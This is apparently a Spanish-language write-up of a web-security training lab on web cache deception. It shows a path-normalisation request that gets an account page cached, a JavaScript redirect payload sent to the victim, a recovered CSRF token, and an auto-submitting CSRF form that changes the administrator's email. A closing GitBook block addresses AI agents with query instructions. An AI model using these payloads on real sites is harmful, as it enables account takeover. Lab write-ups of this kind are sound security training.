> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/web-cache-deception/web-cache-deception-with-exact-match-rules.md).

# Engaño de caché web con reglas de coincidencia exacta

### Aprovechando las reglas de caché de coincidencia exacta para el engaño de caché web

#### Objetivo del laboratorio

* Cambiar la dirección de correo electrónico del usuario **administrator**.
* Conexión disponible: **wiener:peter**.
* Se proporciona una lista de delimitadores: lista de delimitadores del laboratorio de engaño de caché web.

<figure><img src="/files/50bc0245bd94d73c5482a25090a3cb092a778573" alt=""><figcaption></figcaption></figure>

#### Contexto observado

* En **Mi cuenta**, hay un campo para cambiar el correo electrónico.
* La solicitud enviada se ve así:

```bash
email=test%40test.com&csrf=Bfo2p16Es7RG8W0XBZxAJSuyJKOHbK0a
```

#### Pruebas de delimitadores

<figure><img src="/files/e1a23aa52b95845f2c2c287b382d22abeda2c8ff" alt=""><figcaption></figcaption></figure>

* Al probar los caracteres de la lista, el sitio acepta en particular:
* el **punto y coma** `;`
* el **signo de interrogación** `?`

Los ataques clásicos no funcionan en este laboratorio.

<figure><img src="/files/bbdeb0c3fb725e3fe636fb72d09a742a568a88de" alt=""><figcaption></figcaption></figure>

#### Descubrimiento de un recurso oculto

* Desde **Objetivo -> Mapa del sitio**, usa **Descubrir contenido**.

<figure><img src="/files/691b4b7b8802ffd98a3c1eb7ebab319c8fb62dbc" alt=""><figcaption></figcaption></figure>

* Un **archivo robots.txt** aparece y está \*\* almacenado en caché\*\*.

<figure><img src="/files/86ecdb21f8b268005331b9caae5888afa2d9e0d1" alt=""><figcaption></figcaption></figure>

#### Recepción de caché mediante normalización (ruta exacta + desvío)

Objetivo: forzar a la caché a almacenar una respuesta sensible haciéndola parecer un recurso oculto.

Aplicaciones utilizadas:

```bash
GET /my-account;/../robots.txt
# Versión codificada
GET /my-account;%2f%2e%2e%2frobots.txt
```

<figure><img src="/files/f0457962003b038b506b0b6f6e299fe2617d3534" alt=""><figcaption></figcaption></figure>

#### Explotación enviada a la víctima

{% code overflow="wrap" %}

```javascript
<script>
    document.location = "https://0a6200c003095773896516fd00d800d3.web-security-academy.net/my-account;%2f%2e%2e%2frobots.txt";
</script>
```

{% endcode %}

Resultado:

* La página devuelta corresponde a la **cuenta de administrador**.

<figure><img src="/files/bd99e5d468c27cdc9a7d5f61ece4e7618cf3636e" alt=""><figcaption></figcaption></figure>

En la respuesta, recuperamos el **token CSRF** del formulario de correo electrónico, por ejemplo:

```html
<input required type="email" name="email" value="">
<input required type="hidden" name="csrf" value="rP2JD7Ik9im0XQi3E4OLwR22dbk6gNr5">
<button class='button' type='submit'> Actualizar correo electrónico </button>
```

#### Etapa final prevista

* Utiliza este token para generar un **PoC de CSRF** para enviar una **POST** solicitud a la **Mi cuenta** página de cambio de correo electrónico y así cambiar el **administrator** correo electrónico.

<figure><img src="/files/a21b5d6976d53c5f090e7f089b8e256d02aeec13" alt=""><figcaption></figcaption></figure>

```html
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a6200c003095773896516fd00d800d3.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacked&#64;test&#46;com" />
      <input type="hidden" name="csrf" value="rP2JD7Ik9im0XQi3E4OLwR22dbk6gNr5" />
      <input type="submit" value="Enviar solicitud" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/web-cache-deception/web-cache-deception-with-exact-match-rules.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
